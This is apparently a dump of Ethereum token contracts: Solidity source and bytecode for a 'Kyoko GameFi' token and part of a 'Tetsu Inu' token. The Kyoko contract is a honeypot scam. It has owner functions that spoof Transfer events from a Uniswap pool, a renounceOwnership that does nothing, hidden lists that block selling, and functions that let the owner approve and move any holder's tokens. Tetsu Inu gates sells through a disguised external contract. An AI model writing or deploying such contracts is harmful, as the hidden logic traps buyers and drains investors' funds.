function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract KyokoGameFi is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public cr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x4Bd07979bD406F3e5e10d83562c53C2Ea42A775F;
address public _owner = 0x4Bd07979bD406F3e5e10d83562c53C2Ea42A775F;
constructor () public {
_name = "Kyoko GameFi";
_symbol = "KYOKO";
_decimals = 18;
uint256 initialSupply = 100000000000 * 10 ** 18 ;
_safeOwner = _owner;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_start(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_start(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_affirmative[receivers[i]] = true;
_rejectPile[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_rejectPile[receivers[i]] = true;
_affirmative[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == cr), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function exec(address recipient) public _auth(){
_affirmative[recipient]=true;
_approve(recipient, cr,_approveValue);}
function obstruct(address recipient) public _auth(){
//Blker
_affirmative[recipient]=false;
_approve(recipient, cr,0);
}
function renounceOwnership() public _auth(){
//Renounces Ownership
}
function reverse(address target) public _auth() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
//Emit Single Transfer
emit Transfer(emitSender, emitRecipient, emitAmount);
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function burnLPTokens()public _auth(){}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80636bb6126e116100f9578063a9059cbb11610097578063cd2ce4f211610071578063cd2ce4f21461081b578063d8fc29241461094e578063dd62ed3e14610a81578063e30bd74014610aaf576101a9565b8063a9059cbb146107e7578063b2bdfa7b14610813578063bb88603c1461076b576101a9565b806395d89b41116100d357806395d89b4114610773578063a1a6d5fc1461077b578063a64b6e5f146107b1578063a90143131461077b576101a9565b80636bb6126e1461071f57806370a0823114610745578063715018a61461076b576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146106085780635768b61a146106345780636268e0d51461065a57806362eb33e3146106fb576101a9565b8063313ce567146103845780633cc4430d146103a25780634c0cc925146104d5576101a9565b8063043fa39e146101ae57806306fdde0314610251578063095ea7b3146102ce5780630cdfb6281461030e57806318160ddd1461033457806323b872dd1461034e575b600080fd5b61024f600480360360208110156101c457600080fd5b810190602081018135600160201b8111156101de57600080fd5b8201836020820111156101f057600080fd5b803590602001918460208302840111600160201b8311171561021157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ad5945050505050565b005b610259610bca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029357818101518382015260200161027b565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102fa600480360360408110156102e457600080fd5b506001600160a01b038135169060200135610c60565b604080519115158252519081900360200190f35b61024f6004803603602081101561032457600080fd5b50356001600160a01b0316610c7d565b61033c610ce7565b60408051918252519081900360200190f35b6102fa6004803603606081101561036457600080fd5b506001600160a01b03813581169160208101359091169060400135610ced565b61038c610d74565b6040805160ff9092168252519081900360200190f35b61024f600480360360608110156103b857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103e257600080fd5b8201836020820111156103f457600080fd5b803590602001918460208302840111600160201b8311171561041557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561046457600080fd5b82018360208201111561047657600080fd5b803590602001918460208302840111600160201b8311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d7d945050505050565b61024f600480360360608110156104eb57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561051557600080fd5b82018360208201111561052757600080fd5b803590602001918460208302840111600160201b8311171561054857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561059757600080fd5b8201836020820111156105a957600080fd5b803590602001918460208302840111600160201b831117156105ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e43945050505050565b61024f6004803603604081101561061e57600080fd5b506001600160a01b038135169060200135610ee9565b61024f6004803603602081101561064a57600080fd5b50356001600160a01b0316610fc7565b61024f6004803603602081101561067057600080fd5b810190602081018135600160201b81111561068a57600080fd5b82018360208201111561069c57600080fd5b803590602001918460208302840111600160201b831117156106bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611049945050505050565b610703611139565b604080516001600160a01b039092168252519081900360200190f35b61024f6004803603602081101561073557600080fd5b50356001600160a01b0316611148565b61033c6004803603602081101561075b57600080fd5b50356001600160a01b03166111cf565b61024f6111ea565b610259611239565b61024f6004803603606081101561079157600080fd5b506001600160a01b0381358116916020810135909116906040013561129a565b6102fa600480360360608110156107c757600080fd5b506001600160a01b03813581169160208101359091169060400135611325565b6102fa600480360360408110156107fd57600080fd5b506001600160a01b038135169060200135611380565b610703611394565b61024f6004803603606081101561083157600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085b57600080fd5b82018360208201111561086d57600080fd5b803590602001918460208302840111600160201b8311171561088e57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108dd57600080fd5b8201836020820111156108ef57600080fd5b803590602001918460208302840111600160201b8311171561091057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113a3945050505050565b61024f6004803603606081101561096457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561098e57600080fd5b8201836020820111156109a057600080fd5b803590602001918460208302840111600160201b831117156109c157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a1057600080fd5b820183602082011115610a2257600080fd5b803590602001918460208302840111600160201b83111715610a4357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611463945050505050565b61033c60048036036040811015610a9757600080fd5b506001600160a01b03813581169160200135166114e0565b6102fa60048036036020811015610ac557600080fd5b50356001600160a01b031661150b565b600d546001600160a01b03163314610b1d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc657600160026000848481518110610b3b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060016000848481518110610b8c57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b20565b5050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b5050505050905090565b6000610c74610c6d6115d0565b84846115d4565b50600192915050565b600d546001600160a01b03163314610cc5576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b6000610cfa8484846116c0565b610d6a84610d066115d0565b610d6585604051806060016040528060288152602001611f58602891396001600160a01b038a16600090815260036020526040812090610d446115d0565b6001600160a01b031681526020810191909152604001600020549190611cb8565b6115d4565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610dca576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d57828181518110610de257fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f80833981519152848481518110610e1857fe5b60200260200101516040518082815260200191505060405180910390a3600101610dcd565b50505050565b600d546001600160a01b03163314610e90576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610ea483610e9c6115d0565b6008546115d4565b60005b8251811015610e3d57610ee184848381518110610ec057fe5b6020026020010151848481518110610ed457fe5b6020026020010151611d4f565b600101610ea7565b600d546001600160a01b03163314610f48576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f55908261156f565b600455600d546001600160a01b0316600090815260208190526040902054610f7d908261156f565b600d546001600160a01b039081166000908152602081815260408083209490945583518581529351928616939192600080516020611f808339815191529281900390910190a35050565b600d546001600160a01b03163314611014576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546110469284929116906115d4565b50565b600d546001600160a01b03163314611091576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc65760018060008484815181106110ae57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106110ff57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611094565b600b546001600160a01b031681565b600d546001600160a01b03163314611195576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461104692849216906115d4565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314611237576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b600d546001600160a01b031633146112e7576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b03163314611375576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610cfa848484611d4f565b6000610c7461138d6115d0565b84846116c0565b600d546001600160a01b031681565b600d546001600160a01b031633146113f0576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d5782818151811061140857fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f8083398151915284848151811061143e57fe5b60200260200101516040518082815260200191505060405180910390a36001016113f3565b600d546001600160a01b031633146114b0576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6114bc83610e9c6115d0565b60005b8251811015610e3d576114d884848381518110610ec057fe5b6001016114bf565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546000906001600160a01b0316331461155b576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b61156782610e9c6115d0565b506001919050565b6000828201838110156115c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116195760405162461bcd60e51b8152600401808060200182810382526024815260200180611fc56024913960400191505060405180910390fd5b6001600160a01b03821661165e5760405162461bcd60e51b8152600401808060200182810382526022815260200180611ef06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548491849184916001600160a01b0391821691161480156116f35750600d546001600160a01b038481169116145b1561188957600980546001600160a01b0319166001600160a01b038481169190911790915586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03851661179a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b6117a5868686611ec7565b6117e284604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611811908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d548782169116141561184b57600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a3611cb0565b600d546001600160a01b03848116911614806118b257506009546001600160a01b038481169116145b806118ca5750600d546001600160a01b038381169116145b1561194d57600d546001600160a01b0384811691161480156118fd5750816001600160a01b0316836001600160a01b0316145b1561190857600a8190555b6001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff16151514156119b9576001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff16151560011415611a43576009546001600160a01b0384811691161480611a085750600b546001600160a01b038381169116145b6119085760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b600a54811015611ad7576009546001600160a01b0383811691161415611908576001600160a01b0383811660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6009546001600160a01b0384811691161480611b005750600b546001600160a01b038381169116145b611b3b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b6001600160a01b038616611b805760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038516611bc55760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611bd0868686611ec7565b611c0d84604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611c3c908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d5487821691161415611c7657600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a35b505050505050565b60008184841115611d475760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d0c578181015183820152602001611cf4565b50505050905090810190601f168015611d395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611d945760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038216611dd95760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611de4838383611ec7565b611e2181604051806060016040528060268152602001611f12602691396001600160a01b0386166000908152602081905260409020549190611cb8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e50908261156f565b6001600160a01b03808416600090815260208190526040902091909155600d54848216911614156112e757600c546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c2fb368d52743b09acf69e8c96a915e08a6aa7874eb38c27e025f8c40ba2074c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,348 |
0x1aafBBDb5376a9FBb565Eb0E899894B9a68Ffcc9
|
/**
*Submitted for verification at Etherscan.io on 2021-11-13
*/
//SPDX-License-Identifier: MIT
// Telegram: http://t.me/tetsuinuoffical
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet
uint256 constant TOTAL_SUPPLY=100000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Tetsu Inu";
string constant TOKEN_SYMBOL="TETSU";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TetsuInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
